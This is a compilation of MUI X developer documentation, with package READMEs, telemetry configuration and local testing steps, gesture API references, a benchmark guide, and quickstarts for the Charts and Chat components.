- [Pan](./src/core/README.md#pan-gesture) - Detects when a user drags across an element in any direction
- [Pinch](./src/core/README.md#pinch-gesture) - Detects when a user pinches in or out on an element
- [Rotate](./src/core/README.md#rotate-gesture) - Detects when a user rotates pointers around a center point
- [Turn Wheel](./src/core/README.md#turn-wheel-gesture) - Detects mouse wheel events on an element

---

### Overview (`packages/x-internals/README.md`)

# @mui/x-internals

Shared utilities used by MUI X packages.
This package should never be installed or used directly.

---

### Overview (`packages/x-license/README.md`)

# @mui/x-license

Package used by all MUI X to validate license.

---

### Overview (`packages/x-scheduler-internals-premium/README.md`)

# MUI X Scheduler Internals Premium

This package is the Premium plan edition of the MUI X Scheduler internals.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-scheduler-internals-premium
```

## Documentation

Visit [https://mui.com/x/react-scheduler/](https://mui.com/x/react-scheduler/) to view the full documentation.

---

### Overview (`packages/x-scheduler-internals/README.md`)

# MUI X Scheduler Internals

This package is the Community plan edition of the MUI X Scheduler internals.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-scheduler-internals
```

## Documentation

Visit [https://mui.com/x/react-scheduler/](https://mui.com/x/react-scheduler/) to view the full documentation.

---

### Overview (`packages/x-scheduler-premium/README.md`)

# MUI X Scheduler Premium

This package is the Premium plan edition of the scheduler components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-scheduler-premium @mui/material @mui/icons-material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-scheduler/](https://mui.com/x/react-scheduler/) to view the full documentation.

---

### Overview (`packages/x-scheduler/README.md`)

# MUI X Scheduler

This package is the Community plan edition of the scheduler components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-scheduler @mui/material @mui/icons-material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-scheduler/](https://mui.com/x/react-scheduler/) to view the full documentation.

---

### Overview (`packages/x-telemetry/README.md`)

# @mui/x-telemetry

Package used by some of MUI X to collect **anonymous** telemetry data about general usage during development. Telemetry is **enabled by default** in development mode and is completely removed in production builds. Participation in this anonymous program is optional, and you may opt out if you'd not like to share any information.

## How to configure telemetry

Telemetry is **enabled by default** in development mode. You can enable or disable it in any of the following ways:

1. By setting the environment variable.

```dotenv
MUI_X_TELEMETRY_DISABLED=true # Disable telemetry
# or
MUI_X_TELEMETRY_DISABLED=false # Enable telemetry
```

> ⚠️ Note that some frameworks require prefixing the variable with `REACT_APP_`, `NEXT_PUBLIC_`, etc.

2. By using the package settings on application start (for example, in the main file).

```js
import { muiXTelemetrySettings } from '@mui/x-telemetry';
// or
import { muiXTelemetrySettings } from '@mui/x-license';

muiXTelemetrySettings.enableTelemetry(); // to enable telemetry collection and sending
// or
muiXTelemetrySettings.disableTelemetry(); // to disable telemetry collection and sending
```

3. By setting the flag on the global object on application start (for example, in the main file).

```js
globalThis.__MUI_X_TELEMETRY_DISABLED__ = false; // enabled
// or
globalThis.__MUI_X_TELEMETRY_DISABLED__ = true; // disabled
```

## How to test

### Postinstall output

The postinstall script writes to two places:

1. **`<pkg-root>/context.js` + `<pkg-root>/context.mjs`** — all traits (`machineId`, `repoHash`, `postinstallPackageNameHash`, `rootPathHash`, `projectId`, `anonymousId`, `sessionId`, `isDocker`, `isCI`). Lives inside `node_modules` and gets regenerated on each install.
2. **Platform-specific config directory** — persists `anonymousId` and `notifiedAt` across reinstalls, so the `anonymousId` stays stable even if `node_modules` is wiped.
   - **macOS:** `~/Library/Preferences/mui-x/config.json`
   - **Windows:** `%APPDATA%\mui-x\Config\config.json`
   - **Linux:** `$XDG_CONFIG_HOME/mui-x/config.json` (defaults to `~/.config/mui-x/config.json`)
   - **CI/Docker:** `<cwd>/cache/mui-x/config.json` (ephemeral, inside the project)

### Testing the postinstall locally

```bash
# 1. Build the package
pnpm --filter @mui/x-telemetry run build

# 2. Clean previous output (start fresh)
rm -f packages/x-telemetry/build/context.js packages/x-telemetry/build/context.mjs ~/Library/Preferences/mui-x/config.json

# 3. Run the postinstall script

# Local (macOS/Linux)
node packages/x-telemetry/build/postinstall/index.js

# Docker
docker run --rm -v $(pwd):/repo -w /repo/packages/x-telemetry/build node:20 node ./postinstall/index.mjs

# 4. Verify the output
cat packages/x-telemetry/build/context.js   # CJS context
cat packages/x-telemetry/build/context.mjs  # ESM context
cat ~/Library/Preferences/mui-x/config.json # Persistent config (macOS)
```

### Testing the package.json name fallback (no git)

```bash
# 1. Build the package
pnpm --filter @mui/x-telemetry run build

# 2. Create a temp directory with only a package.json (no .git)
mkdir -p /tmp/test-pkg && echo '{"name": "my-test-app"}' > /tmp/test-pkg/package.json

# 3. Clean previous output
rm -f packages/x-telemetry/build/context.js packages/x-telemetry/build/context.mjs

# 4. Run postinstall from the temp directory
cd /tmp/test-pkg && node /path/to/mui-x/packages/x-telemetry/build/postinstall/index.js

# 5. Verify postinstallPackageNameHash and projectId match sha256("my-test-app")
grep -E 'postinstallPackageNameHash|projectId' /path/to/mui-x/packages/x-telemetry/build/context.js
echo -n "my-test-app" | shasum -a 256
# postinstallPackageNameHash and projectId should both match the hash

# 6. Go back to the repo and clean up
cd /path/to/mui-x
rm -rf /tmp/test-pkg
```

### Testing the runtime fallback (npm_package_name)

```bash
# 1. Build the package
pnpm --filter @mui/x-telemetry run build

# 2. Run with npm_package_name set (simulates npm/pnpm run context)
node -e "
  process.env.npm_package_name = 'my-test-app';
  import('./packages/x-telemetry/build/runtime/get-context.mjs').then(m =>
    m.default().then(ctx => {
      console.log('runtimePackageNameHash:', ctx.traits.runtimePackageNameHash);
      console.log('projectId:', ctx.traits.projectId);
    })
  );
"

# 3. Verify runtimePackageNameHash matches sha256("my-test-app")
echo -n "my-test-app" | shasum -a 256
# runtimePackageNameHash should output: 04a0c785...
```

### Testing the runtime fallback (browser fetch)

```bash
# 1. Create a temp directory with a package.json
mkdir -p /tmp/test-fetch && cd /tmp/test-fetch
echo '{"name": "fetch-test-app"}' > package.json

# 2. Create an index.html that simulates the runtime fetch fallback
cat > index.html << 'HTMLEOF'
<script type="module">
  async function hashString(str) {
    const data = new TextEncoder().encode(str);
    const hashBuffer = await crypto.subtle.digest('SHA-256', data);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    return hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
  }

  const res = await fetch('/package.json');
  const pkg = await res.json();
  const projectId = await hashString(pkg.name);
  console.log('projectId:', projectId);
  document.body.innerText = 'projectId: ' + projectId;
</script>
HTMLEOF

# 3. Serve and open http://localhost:3000
npx serve .

# 4. Verify the browser console output matches sha256("fetch-test-app")
echo -n "fetch-test-app" | shasum -a 256
# Both should output: 1dcce451...

# 5. Clean up
rm -rf /tmp/test-fetch
```

### Unit tests

```bash
pnpm test:unit --project "x-telemetry" --run
```

---

### Overview (`packages/x-tree-view-pro/README.md`)

# MUI X Tree View

This package is the Pro plan edition of the Tree View components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-tree-view-pro @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-tree-view/](https://mui.com/x/react-tree-view/) to view the full documentation.

---

### Overview (`packages/x-tree-view/README.md`)

# MUI X Tree View

This package is the Community plan edition of the Tree View components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-tree-view @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-tree-view/](https://mui.com/x/react-tree-view/) to view the full documentation.

---

### Overview (`test/e2e-website/README.md`)

# Docs end-to-end testing

## Running locally

1. Run `pnpm docs:dev` to start docs in development server.
2. Run `pnpm test:e2e-website` in a separate terminal to run the test suites (`*.spec.ts`) inside `test/e2e-website` folder.

> use --headed to run tests in headed browsers, check out [Playwright CLI](https://playwright.dev/docs/intro#command-line) for more options

## CI

After netlify deploy the preview site, the `netlify/functions/deploy-succeeded.js` hook calls CircleCI API to run the `e2e-website` workflow against the deployed url.

---

### Overview (`test/performance-charts/README.md`)

# Performance Charts

Vitest browser-mode benchmarks (`*.bench.tsx`) measuring React render duration of charts components against large datasets. Powered by [`@mui/internal-benchmark`](https://github.com/mui/mui-public/tree/master/packages/benchmark).

## Run locally

Build the libraries first — benchmarks resolve from `build/`:

```bash
pnpm release:build
```

Then run the benchmarks:

```bash
pnpm test:charts-benchmark
```

Or filter the workspace directly:

```bash
pnpm --filter "@mui-x-internal/performance-charts" test:performance
```

Results are written to `benchmarks/results.json` by default. Override with `BENCHMARK_OUTPUT_PATH=<path>`.

## Compare against a baseline

Run the baseline first into a separate file, then run the head with `BENCHMARK_BASELINE_PATH` pointing at it:

```bash
BENCHMARK_OUTPUT_PATH=/tmp/base.json pnpm test:charts-benchmark
# switch branch / commit, rebuild
BENCHMARK_BASELINE_PATH=/tmp/base.json pnpm test:charts-benchmark
```

## Add a benchmark

Drop a `*.bench.tsx` file in `tests/`:

```tsx
import * as React from 'react';
import { benchmark } from '@mui/internal-benchmark';
import { BarChart } from '@mui/x-charts/BarChart';

benchmark('BarChart - 100 bars', () => (
  <BarChart
    series={[
      {
        data: [/* ... */],
      },
    ]}
    width={500}
    height={300}
  />
));
```

For interaction benchmarks (re-renders, state changes), see the harness README.

---

### Overview (`packages/x-internal-gestures/src/core/README.md`)

# Core

This package provides a configurable and extensible API for detecting and handling user gestures in web applications. It supports a wide range of gesture types including tap, press, move, pan, pinch, rotate, and wheel gestures.

## Basic Usage

```javascript
import { GestureManager, TapGesture, PanGesture } from '@mui/x-internal-gestures/core';

// Initialize gesture manager with pre-configured gestures
const gestureManager = new GestureManager({
  gestures: [
    new TapGesture({
      // Required name, it is used to generate the event names
      name: 'tap',
    }),
    new PanGesture({
      name: 'pan',
    }),
  ],
});

// Register elements for gestures - return value is an element with typed event listeners
const target = gestureManager.registerElement(
  ['tap', 'pan'], // Gestures to enable
  document.getElementById('gesture-target'),
);

// Add event listeners with properly typed event data
target.addEventListener('tap', (event) => {
  const detail = event.detail;
  console.log(`Tap at: x=${detail.x}, y=${detail.y}`);
});

target.addEventListener('panStart', (event) => {
  console.log('Pan started', event.detail.centroid);
});

target.addEventListener('pan', (event) => {
  // Update element position based on pan
  const targetX = event.detail.totalDeltaX;
  const targetY = event.detail.totalDeltaY;
  target.style.transform = `translate(${targetX}px, ${targetY}px)`;
});
```

## Supported Gestures

### Tap Gesture

Detects when a user taps on an element. Configurable for number of taps and pointers required.

```javascript
import { TapGesture } from '@mui/x-internal-gestures/core';

const tapGesture = new TapGesture({
  name: 'tap',
});

tapGesture.addEventListener('tap', (event) => console.log(event.detail));
```

#### Tap Gesture Options

| Option            | Type       | Required | Default    | Description                                                              |
| :---------------- | :--------- | :------- | :--------- | :----------------------------------------------------------------------- |
| `name`            | `string`   | ✓        | -          | Unique name for the gesture instance                                     |
| `minPointers`     | `number`   |          | `1`        | Minimum number of pointers required                                      |
| `maxPointers`     | `number`   |          | `Infinity` | Maximum number of pointers allowed                                       |
| `maxDistance`     | `number`   |          | `10`       | Maximum distance in pixels the pointer can move for it to still be a tap |
| `taps`            | `number`   |          | `1`        | Number of consecutive taps required (1 for single tap, 2 for double tap) |
| `preventDefault`  | `boolean`  |          | `false`    | Prevent default browser behavior                                         |
| `stopPropagation` | `boolean`  |          | `false`    | Stop event propagation                                                   |
| `preventIf`       | `string[]` |          | `[]`       | Gesture names that should prevent this gesture                           |

### Press Gesture

Detects when a user presses and holds on an element for a specified duration.

```javascript
import { PressGesture } from '@mui/x-internal-gestures/core';

const pressGesture = new PressGesture({
  name: 'press',
});

pressGesture.addEventListener('pressStart', (event) => console.log(event.detail));
pressGesture.addEventListener('press', (event) => console.log(event.detail));
pressGesture.addEventListener('pressEnd', (event) => console.log(event.detail));
```

#### Press Gesture Options

| Option            | Type       | Required | Default | Description                                    |
| :---------------- | :--------- | :------- | :------ | :--------------------------------------------- |
| `name`            | `string`   | ✓        | -       | Unique name for the gesture instance           |
| `minPointers`     | `number`   |          | `1`     | Minimum number of pointers required            |
| `maxPointers`     | `number`   |          | `1`     | Maximum number of pointers allowed             |
| `duration`        | `number`   |          | `500`   | Time required to hold in milliseconds          |
| `maxDistance`     | `number`   |          | `10`    | Maximum distance pointer can move during press |
| `preventDefault`  | `boolean`  |          | `false` | Prevent default browser behavior               |
| `stopPropagation` | `boolean`  |          | `false` | Stop event propagation                         |
| `preventIf`       | `string[]` |          | `[]`    | Gesture names that should prevent this gesture |

### Move Gesture

Detects when a pointer enters, moves within, and leaves an element. This gesture doesn't work with touch pointers.

```javascript
import { MoveGesture } from '@mui/x-internal-gestures/core';

const moveGesture = new MoveGesture({
  name: 'move',
});

moveGesture.addEventListener('moveStart', (event) => console.log(event.detail));
moveGesture.addEventListener('move', (event) => console.log(event.detail));
moveGesture.addEventListener('moveEnd', (event) => console.log(event.detail));
```

#### Move Gesture Options

| Option            | Type       | Required | Default | Description                                           |
| :---------------- | :--------- | :------- | :------ | :---------------------------------------------------- |
| `name`            | `string`   | ✓        | -       | Unique name for the gesture instance                  |
| `minPointers`     | `number`   |          | `1`     | Minimum number of pointers required                   |
| `maxPointers`     | `number`   |          | `1`     | Maximum number of pointers allowed                    |
| `threshold`       | `number`   |          | `0`     | Movement threshold in pixels before gesture activates |
| `preventDefault`  | `boolean`  |          | `false` | Prevent default browser behavior                      |
| `stopPropagation` | `boolean`  |          | `false` | Stop event propagation                                |
| `preventIf`       | `string[]` |          | `[]`    | Gesture names that should prevent this gesture        |

### Pan Gesture

Detects when a user drags across an element in any direction.

```javascript
import { PanGesture } from '@mui/x-internal-gestures/core';

const panGesture = new PanGesture({
  name: 'pan',
});

panGesture.addEventListener('panStart', (event) => console.log(event.detail));
panGesture.addEventListener('pan', (event) => console.log(event.detail));
panGesture.addEventListener('panEnd', (event) => console.log(event.detail));
panGesture.addEventListener('panCancel', (event) => console.log(event.detail));
```

#### Pan Gesture Options

| Option            | Type       | Required | Default                           | Description                                           |
| :---------------- | :--------- | :------- | :-------------------------------- | :---------------------------------------------------- |
| `name`            | `string`   | ✓        | -                                 | Unique name for the gesture instance                  |
| `minPointers`     | `number`   |          | `1`                               | Minimum number of pointers required                   |
| `maxPointers`     | `number`   |          | `Infinity`                        | Maximum number of pointers allowed                    |
| `threshold`       | `number`   |          | `10`                              | Movement threshold in pixels before gesture activates |
| `direction`       | `string[]` |          | `['up', 'down', 'left', 'right']` | Allowed pan directions                                |
| `preventDefault`  | `boolean`  |          | `false`                           | Prevent default browser behavior                      |
| `stopPropagation` | `boolean`  |          | `false`                           | Stop event propagation                                |
| `preventIf`       | `string[]` |          | `[]`                              | Gesture names that should prevent this gesture        |

### Pinch Gesture

Detects when a user pinches in or out on an element using two or more pointers.

```javascript
import { PinchGesture } from '@mui/x-internal-gestures/core';

const pinchGesture = new PinchGesture({
  name: 'pinch',
});

pinchGesture.addEventListener('pinchStart', (event) => console.log(event.detail));
pinchGesture.addEventListener('pinch', (event) => console.log(event.detail));
pinchGesture.addEventListener('pinchEnd', (event) => console.log(event.detail));
pinchGesture.addEventListener('pinchCancel', (event) => console.log(event.detail));
```

#### Pinch Gesture Options

| Option            | Type       | Required | Default    | Description                                           |
| :---------------- | :--------- | :------- | :--------- | :---------------------------------------------------- |
| `name`            | `string`   | ✓        | -          | Unique name for the gesture instance                  |
| `minPointers`     | `number`   |          | `2`        | Minimum number of pointers required                   |
| `maxPointers`     | `number`   |          | `Infinity` | Maximum number of pointers allowed                    |
| `threshold`       | `number`   |          | `2`        | Movement threshold in pixels before gesture activates |
| `preventDefault`  | `boolean`  |          | `false`    | Prevent default browser behavior                      |
| `stopPropagation` | `boolean`  |          | `false`    | Stop event propagation                                |
| `preventIf`       | `string[]` |          | `[]`       | Gesture names that should prevent this gesture        |

### Rotate Gesture

Detects when a user rotates pointers around a center point.

```javascript
import { RotateGesture } from '@mui/x-internal-gestures/core';

const rotateGesture = new RotateGesture({
  name: 'rotate',
});

rotateGesture.addEventListener('rotateStart', (event) => console.log(event.detail));
rotateGesture.addEventListener('rotate', (event) => console.log(event.detail));
rotateGesture.addEventListener('rotateEnd', (event) => console.log(event.detail));
rotateGesture.addEventListener('rotateCancel', (event) => console.log(event.detail));
```

#### Rotate Gesture Options

| Option            | Type       | Required | Default    | Description                                    |
| :---------------- | :--------- | :------- | :--------- | :--------------------------------------------- |
| `name`            | `string`   | ✓        | -          | Unique name for the gesture instance           |
| `minPointers`     | `number`   |          | `2`        | Minimum number of pointers required            |
| `maxPointers`     | `number`   |          | `Infinity` | Maximum number of pointers allowed             |
| `preventDefault`  | `boolean`  |          | `false`    | Prevent default browser behavior               |
| `stopPropagation` | `boolean`  |          | `false`    | Stop event propagation                         |
| `preventIf`       | `string[]` |          | `[]`       | Gesture names that should prevent this gesture |

### Turn Wheel Gesture

Detects mouse wheel events on an element.

```javascript
import { TurnWheelGesture } from '@mui/x-internal-gestures/core';

const turnWheelGesture = new TurnWheelGesture({
  name: 'turnWheel',
});

turnWheelGesture.addEventListener('turnWheel', (event) => console.log(event.detail));
```

#### Turn Wheel Gesture Options

| Option            | Type       | Required | Default                   | Description                                    |
| :---------------- | :--------- | :------- | :------------------------ | :--------------------------------------------- |
| `name`            | `string`   | ✓        | -                         | Unique name for the gesture instance           |
| `sensitivity`     | `number`   |          | `1`                       | Sensitivity multiplier for wheel events        |
| `max`             | `number`   |          | `Number.MAX_SAFE_INTEGER` | Maximum value for accumulated deltas           |
| `min`             | `number`   |          | `Number.MIN_SAFE_INTEGER` | Minimum value for accumulated deltas           |
| `initialDelta`    | `number`   |          | `0`                       | Initial value for totalDelta values            |
| `invert`          | `boolean`  |          | `false`                   | Invert the direction of delta changes          |
| `preventDefault`  | `boolean`  |          | `false`                   | Prevent default browser behavior               |
| `stopPropagation` | `boolean`  |          | `false`                   | Stop event propagation                         |
| `preventIf`       | `string[]` |          | `[]`                      | Gesture names that should prevent this gesture |

## Advanced Usage

### Combining Multiple Gestures

```javascript
// Add multiple gestures to the same element
const target = gestureManager.registerElement(['pan', 'pinch', 'rotate'], element);

// Handle multiple gesture events
target.addEventListener('pinch', (event) => {
  const scale = event.detail.totalScale;
  // Update scale transform
});

target.addEventListener('rotate', (event) => {
  const rotation = event.detail.totalRotation;
  // Update rotation transform
});

target.addEventListener('pan', (event) => {
  const tx = event.detail.totalDeltaX;
  const ty = event.detail.totalDeltaY;
  // Update position transform
});

// Combined transform example
function updateElementTransform(el, { scale, rotation, translateX, translateY }) {
  const transform = `translate(${translateX}px, ${translateY}px) rotate(${rotation}deg) scale(${scale})`;
  el.style.transform = transform;
}
```

### Gesture Conflict Resolution

You can specify which gestures should take precedence:

```javascript
import { GestureManager, PanGesture, PinchGesture } from '@mui/x-internal-gestures/core';

const gestureManager = new GestureManager({
  gestures: [
    new PanGesture({
      name: 'pan',
      preventIf: ['pinch'],
    }),
    new PinchGesture({
      name: 'pinch',
    }),
  ],
});
```

---

### Overview (`packages/x-internal-gestures/src/matchers/README.md`)

# Matchers

Vitest matchers for testing gestures.

## Available Matchers

### `toUpdateOptions(expectedOptions: object)`

Asserts that the provided gesture options can be updated by emitting a change event and that the options match the expected values.

```ts
// Check if gesture options can be updated
expect(MoveGesture).toUpdateOptions({ preventDefault: true });
```

### `toBeClonable(overrides?: object)`

Asserts that the provided gesture can be cloned and that the clone has the same properties as the original gesture, or overridden properties if specified.

```ts
// Check if the gesture can be cloned with the same properties
expect(MoveGesture).toBeClonable();

// Check if the gesture can be cloned with overridden properties
expect(MoveGesture).toBeClonable({ preventDefault: true });
```

### `toUpdateState(expectedState: object)`

Asserts that the provided gesture state can be updated by emitting a change event and that the state properties match the expected values.

```ts
// Check if gesture state can be updated
expect(MoveGesture).toUpdateState({ isDragging: true });
```

## Notes

- The matchers `toUpdateOptions`, `toBeClonable`, and `toUpdateState` do not support negation (using `.not` before the matcher). Using these with `.not` will throw an error.

---

### Overview (`packages/x-internal-gestures/src/testing/README.md`)

# Testing

Utilities for simulating user gestures in browser testing environments.

## Basic Usage

The testing library provides two main user gesture simulators:

- `mouseGesture`: Simulates mouse-based interactions (tap, press, move, pan, wheel)
- `touchGesture`: Simulates touch-based interactions (tap, press, pan, pinch, rotate)

## Advanced Usage

### Testing with Fake Timers

```javascript
import { mouseGesture } from '@mui/x-internal-gestures/testing';
import { vi } from 'vitest';

describe('Gesture with fake timers', () => {
  beforeEach(() => {
    vi.useFakeTimers();
  });

  afterEach(() => {
    vi.useRealTimers();
  });

  it('should work with fake timers', async () => {
    const mouse = mouseGesture.setup({
      advanceTimers: async (ms) => {
        await vi.advanceTimersByTimeAsync(ms);
      },
    });

    // Now gestures will use the fake timer
    await mouse.press(element, { duration: 1000 });
  });
});
```

### Testing Gesture Sequences

```javascript
import { touchGesture } from '@mui/x-internal-gestures/testing';

describe('Complex gesture sequence', () => {
  it('should handle a sequence of gestures', async () => {
    const touch = touchGesture.setup();

    // Perform a sequence of gestures
    await touch.tap(element);
    await touch.pan(element, {
      start: { x: 100, y: 100 },
      end: { x: 200, y: 100 },
    });
    await touch.pinch(element, { scale: 1.5 });
    await touch.rotate(element, { angle: 45 });

    // Verify the final state
    // ...
  });
});
```

---

### Data Charts Overview Overview (`docs/data/charts/overview/overview.md`)

---
title: React Charts
productId: x-charts
githubLabel: 'scope: charts'
packageName: '@mui/x-charts'
---

{{"component": "modules/components/overview/XLogo.tsx"}}

# MUI X Charts

<p class="description">A collection of React chart components for data visualization.</p>

{{"component": "modules/components/overview/charts/mainDemo/MainDemo"}}
{{"component": "modules/components/overview/charts/featuresHighlight/FeaturesHighlight"}}
{{"component": "modules/components/overview/charts/ChartsCommunityOrPro"}}

{{"component": "modules/components/overview/charts/essentialCharts/EssentialCharts"}}
{{"component": "modules/components/overview/charts/advancedCharts/AdvancedChartDemo"}}
{{"component": "modules/components/overview/charts/advancedFeatures/AdvancedFeatures"}}

## Supported features

Features such as axes and legends are shared across Chart components and are described in their corresponding documents.

{{"component": "modules/components/ChartFeaturesGrid.js"}}

## All MUI X Charts

{{"component": "modules/components/ChartComponentsGrid.js"}}

### Planned charts

These charts are on our roadmap and are planned for future. If you'd like to see them sooner, give us your upvote — your feedback helps us decide what to build next.

{{"component": "modules/components/ChartComponentsUpcoming.js"}}

---

### Data Charts Quickstart Quickstart (`docs/data/charts/quickstart/quickstart.md`)

---
productId: x-charts
githubLabel: 'scope: charts'
packageName: '@mui/x-charts'
---

# Charts - Quickstart

<p class="description">Install the MUI X Charts package to start building React data visualization components.</p>

## Installation

Install the Charts package that best suits your needs—Community or Pro:

{{"component": "modules/components/ChartsInstallationInstructions.js"}}

### Peer dependencies

#### Material UI

The Charts packages have a peer dependency on `@mui/material`.
If you're not already using it, install it now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```

</codeblock>

#### React



[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

### Usage with D3

For those using CommonJS, the MUI X Charts provide a vendored package to access D3 libraries.
You can import D3 functions from `@mui/x-charts-vendor/d3-scale`.

## Rendering Charts

MUI X Charts can be rendered as _self-contained_ or _composable_ components.
[Self-contained components](#self-contained-charts) are simpler to get started with and are recommended for most common use cases.
More complex visualization (such as combining Bar and Line Charts on a single plot) requires [custom composition](#composable-charts).

### Self-contained Charts

```tsx
import { BarChart } from '@mui/x-charts/BarChart';
```

Self-contained Chart components are imported and rendered as a single React component (such as `<BarChart />` or `<LineChart />`) which contains all of the necessary subcomponents.

These components require a `series` prop describing the data to render, as well as a numerical value (rendered in pixels) for the `height` prop.
The `width` prop is optional; if no value is provided, the Charts expand to fill the available space.

{{"demo": "SimpleCharts.js"}}

### Composable Charts

More complex use cases require composition of the necessary subcomponents inside of a Chart Container wrapper.
Subcomponents include:

- Axis components – to define the X and Y axes
- Plot components – to create Bars, Lines, or any other Chart type
- Auxiliary components – to add Tooltips, Highlights, and more
- Utilities – such as classes and types

See the [Charts composition documentation](/x/react-charts/composition/) for complete details.

The demo below shows how to use composition to create a custom Chart that combines a Bar and a Line Chart on a single plot:

{{"demo": "Combining.js"}}

### Chart layouts

The layout of a Chart is defined by two main spaces: the plot area, and the outer margins.

The `width` and `height` props define the dimensions of the SVG which is the root of the chart.
Within this SVG, the plot area (or drawing area) serves as the canvas for data visualization, where the lines, bars, or other visual elements are rendered.
The size of the plot area is determined by the `margin = {top, bottom, left, right}` object which defines its outer margins inside the SVG.
The outer margin space is where information like axes, titles, and legends are displayed.

See the [Styling documentation](/x/react-charts/styling/#placement) for complete details.

### Server-side rendering

Charts support server-side rendering under two conditions:

1. `width` and `height` props must be provided – it's not possible to compute the SVG dimensions on the server.
2. Animations must be disabled with the `skipAnimation` prop – otherwise the animation will be in an empty state on first render.

### Axis management

MUI X Charts take a flexible approach to axis management, with support for multiple axes and any combination of scales and ranges.
See the [Axis documentation](/x/react-charts/axis/) for complete details.

## TypeScript

### Theme augmentation

To benefit from [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users must import the following types.
These types use module augmentation to extend the default theme structure.

```tsx
// Pro users: add `-pro` suffix to package name
import type {} from '@mui/x-charts/themeAugmentation';

const theme = createTheme({
  components: {
    MuiChartsAxis: {
      styleOverrides: {
        tick: {
          stroke: '#006BD6',
        },
      },
    },
  },
});
```

## Using this documentation

### Feature availability

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
See [Licensing](/x/introduction/licensing/) for details.
:::

Throughout the documentation, Pro- and Premium-only features are denoted with the [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icons, respectively.

All documentation for Community components and features also applies to their Pro and Premium counterparts.

---

### Data Chat Overview Overview (`docs/data/chat/overview/overview.md`)

---
productId: x-chat
title: Chat React components
packageName: '@mui/x-chat'
githubLabel: 'scope: chat'
components: ChatBox
---

{{"component": "modules/components/overview/chat/ChatFeedbackBanner.tsx"}}

{{"component": "modules/components/overview/XLogo.tsx"}}

# MUI X Chat

<p class="description">Build chat experiences for AI assistants, customer support, and messaging apps with a single drop-in React component that connects to any backend.</p>

{{"component": "@mui/internal-core-docs/ComponentLinkHeader", "design": false}}

Bring your own backend through a small adapter interface — see [Backend connection](/x/react-chat/backend/adapters/) — or start with a built-in adapter like the [AI SDK adapter](/x/react-chat/backend/built-in-adapters/ai-sdk-adapter/).

{{"component": "modules/components/overview/chat/mainDemo/MainDemo.tsx"}}
{{"component": "modules/components/overview/chat/ChatFeaturesHighlight.tsx"}}

## Accessible by default

Keyboard navigation, labeled landmarks, and screen reader announcements work out of the box: the message list is a single Tab stop with roving focus, and streaming responses are announced once at start and completion—never per token. Read the full model on the [Accessibility](/x/react-chat/accessibility/) page.

{{"component": "modules/components/overview/chat/ChatCommunityOrPro.tsx"}}
{{"component": "modules/components/overview/chat/ChatGetStarted.tsx"}}

---

### Data Chat Quickstart Quickstart (`docs/data/chat/quickstart/quickstart.md`)

---
productId: x-chat
title: Quickstart
packageName: '@mui/x-chat'
githubLabel: 'scope: chat'
components: ChatBox
---

# Chat - Quickstart

<p class="description">Install the Chat package and start building React chat interfaces.</p>

{{"component": "@mui/internal-core-docs/ComponentLinkHeader"}}

## Installation

Install the Chat package:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/x-chat
```

```bash pnpm
pnpm add @mui/x-chat
```

```bash yarn
yarn add @mui/x-chat
```

</codeblock>

### Peer dependencies

#### Material UI

The Chat package has a peer dependency on `@mui/material`.
If you're not already using it, install it now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```

</codeblock>

#### React



[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

## Rendering a Chat

### Import the component

Import `ChatBox` and wire it to an adapter.
The adapter implements `sendMessage`, which returns the assistant's reply as a stream of response chunks.
For streaming UIs and `createAiSdkAdapter`, see [Streaming](/x/react-chat/behavior/streaming/).

```tsx
import { ChatBox, createEchoAdapter } from '@mui/x-chat';
```

### Render the component

The example below uses the built-in `createEchoAdapter` so it works directly in the docs.
In your app, replace it with an adapter that calls your API.

{{"demo": "RenderChatBox.js", "defaultCodeOpen": true, "bg": "inline"}}

`ChatBox` renders a full chat surface—conversation header, message list, and composer—in a single component. See [Components](/x/react-chat/all-components/) for the full anatomy.
Enable the built-in conversation list explicitly with `features={{ conversationList: true }}` when you want an inbox-style layout.
The list only renders once at least one conversation exists (for example via `initialConversations`), so enabling the flag on an empty chat shows no sidebar.
All visual styles are derived from your active Material UI theme.

